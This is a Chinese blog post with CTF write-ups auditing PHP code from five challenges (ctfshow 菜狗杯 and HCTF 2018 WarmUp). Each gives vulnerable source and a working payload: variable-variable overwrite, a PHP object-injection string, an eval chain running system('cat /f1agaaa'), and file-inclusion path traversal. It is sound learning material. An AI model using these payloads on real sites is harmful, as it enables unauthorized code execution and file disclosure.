这里的话将会延续上次的php代审主题,相关的题目依旧是来自ctfshow的菜狗杯(我是菜狗...)然后之后的各种类型也会慢慢更新。

image.png

1.这是来自ctfshow菜狗杯的一道题:无一幸免

代码如下:

<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
if (isset($_GET['0'])){  
    $arr[$_GET['0']]=1;  
    if ($arr[]=1){  
        die($flag);  
    }  
    else{  
        die("nonono!");  
    }  
}

这道题比较奇怪,url拼接中只要参数有0,直接就会弹出flag。仔细一看发现是if判断中的问题,这里的判断语句"$arr[]=1"是赋值语句,导致判断永真(稀里糊涂地就过了...)。

image.png

后来我看了其他大佬的题解,是使用了数组整数溢出来绕过的,也就是说if与else中的内容互换就对了。

payload:

?0=9223372036854775807

2.这是来自ctfshow菜狗杯的一道题:遍地飘零

代码如下:

<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
$zeros="000000000000000000000000000000";  
  
foreach($_GET as $key => $value){  
    $$key=$$value;  
}  
  
if ($flag=="000000000000000000000000000000"){  
    echo "好多零";  
}else{  
    echo "没有零,仔细看看输入有什么问题吧";  
    var_dump($_GET);  
}

这一题是比较经典的绕过题,重点是语句"var_dump($_GET)",该语句实现的是输出每一个get方式传入参数的键值对的内容以及类型。

foreach()函数中遍历每一个键值对,然后实现key=key=value。这里有一个漏洞点,假如我们传入的参数是_GET,那么这里就变为 $_GET={...},之后的var_dump()函数是不是就能“等量代换”了?从而输出我们想要的内容?

于是payload

?_GET=flag

var_dump()函数就能打印出$flag的内容了

image.png

3.这是来自ctfshow菜狗杯的一道题:小舔田?

代码如下:

<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
class Moon{  
    public $name="月亮";  
    public function __toString(){  
        return $this->name;  
    }  
      
    public function __wakeup(){  
        echo "我是".$this->name."快来赏我";  
    }  
}  
  
class Ion_Fan_Princess{  
    public $nickname="牛夫人";  
  
    public function call(){  
        global $flag;  
        if ($this->nickname=="小甜甜"){  
            echo $flag;  
        }else{  
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。n";  
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!n";  
        }  
    }  
      
    public function __toString(){  
        $this->call();  
        return "tttttttttt----".$this->nickname;  
    }  
}  
  
if (isset($_GET['code'])){  
    unserialize($_GET['code']);  
  
}else{  
    $a=new Ion_Fan_Princess();  
    echo $a;  
}

这是一道反序列化的题目,需要进行构造作为code参数传入。

我们分析一下,只有在nickname=“小甜甜”以及call()函数被调用的时候,才能输出flag。但是call()函数的调用首先需要的是魔术方法__toString()的调用,在该类中无调用__toString的途径。

后面上网查了一下,当对象处于 “需要被转换为字符串” 的场景时,__toString() 会被自动调用,并返回一个字符串。我们发现Moon类中的__wakeup()函数中存在"$this->name",这里可以利用一下。

序列化代码:

<?php
class Moon{
    public $name;
}

class Ion_Fan_Princess{
    public $nickname;
}

$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname = '小甜甜';
echo serialize($a);
?>

我们将new出来的Ion_Fan_Princess类赋值给 $a的name变量,使其满足Ion_Fan_Princess类中__toString()函数的自动调用条件(),再使得nickname为“小甜甜”即可

序列化:

O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

最终得到flag

image.png

4.这是来自ctfshow菜狗杯的一道题:web签到

<?php  
  
/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date:   2022-11-10 17:20:38  
# @Last Modified by:   h1xa  
# @Last Modified time: 2022-11-11 09:38:59  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  
  
*/  
  
  
error_reporting(0);  
highlight_file(__FILE__);  
  
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

乍一看比较复杂,我们需要由里到外逐层分析

第一层,传入的是cookie值,我们令'CTFshow-QQ群:'=a,那么第二层:$_POST[a]

第二层,这里需要的是POST方法传参,我们令a=b,那么第三层:$_GET[b]

第三层,同理,GET方法传参,我们令b=c,那么第四层:$_REQUESST[c]

实际上这里的c是作为数组传入,后面是具体下标,我们可以在此拼接命令,例如c[6][0][7][5][8][0][9][4][4]=system('ls /'); 来查看根目录下的文件。

我们在bp中改包,记得需要将'CTFshow-QQ群:'进行url编码,然后记得改为POST上传,查看到的内容如下:

bin dev etc f1agaaa home lib media mnt proc root run sbin srv sys tmp usr var

改为system('cat /f1agaaa');即可查看到flag内容。

5.这是来自BUUCTF的一道题:## [HCTF 2018]WarmUp

F12,查看源码,发现有source.php,访问之后,代码如下

<?php  
    highlight_file(__FILE__);  
    class emmm  
    {  
        public static function checkFile(&$page)  
        {  
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  
            if (! isset($page) || !is_string($page)) {  
                echo "you can't see it";  
                return false;  
            }  
  
            if (in_array($page$whitelist)) {  
                return true;  
            }  
  
            $_page mb_substr(  
                $page,  
                0,  
                mb_strpos($page '?''?')  
            );  
            if (in_array($_page$whitelist)) {  
                return true;  
            }  
  
            $_page urldecode($page);  
            $_page mb_substr(  
                $_page,  
                0,  
                mb_strpos($_page '?''?')  
            );  
            if (in_array($_page$whitelist)) {  
                return true;  
            }  
            echo "you can't see it";  
            return false;  
        }  
    }  
  
    if (! empty($_REQUEST['file'])  
        && is_string($_REQUEST['file'])  
        && emmm::checkFile($_REQUEST['file'])  
    ) {  
        include $_REQUEST['file'];  
        exit;  
    } else {  
        echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";  
    }    
?>

发现有一个hint.php,我们访问一下,发现给了flag文件名。

image.png

接着进行代码审计

主要函数有mb_substr(string,string,start,$length), 实现截取一定条件下的子串,第一个参数是原字符串,第二个参数是截取开始的下标,第三个参数是截取的长度。

以及mb_strpos(string,string,a) ,实现的是返回字符串中特定字符第一次出现的下标,第一个参数是原字符串,第二个参数是特定字符。

需要传入的参数要满足是string字符串,以及能够过emm类中的白名单限制。

我们传递的参数需要有hint.php,或者source.php。

$_page mb_substr(  
                $page,  
                0,  
                mb_strpos($page '?''?')  
            );  
            if (in_array($_page$whitelist)) {  
                return true;  
            }  

这段代码表示了只需要参数值中第一个?之前的值,所以只需要hint.php?...,后面拼接flag文件名即可成功绕过。

接着还是类似的代码,第二次绕过,仔细看发现这里是同理的。

            $_page urldecode($page);  
            $_page mb_substr(  
                $_page,  
                0,  
                mb_strpos($_page '?''?')  
            );  
            if (in_array($_page$whitelist)) {  
                return true;  
            } 

结合大佬的题解,一般source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,所以需要至少四层,我们可以返回到根目录下。

payload

?file=hint.php?/../../../../ffffllllaaaagggg

最后是可以得到flag。

本站提供的所有下载资源均来自互联网,仅提供学习交流使用,版权归原作者所有。如需商业使用,请联系原作者获得授权。 如您发现有涉嫌侵权的内容,请联系我们 邮箱:[email protected]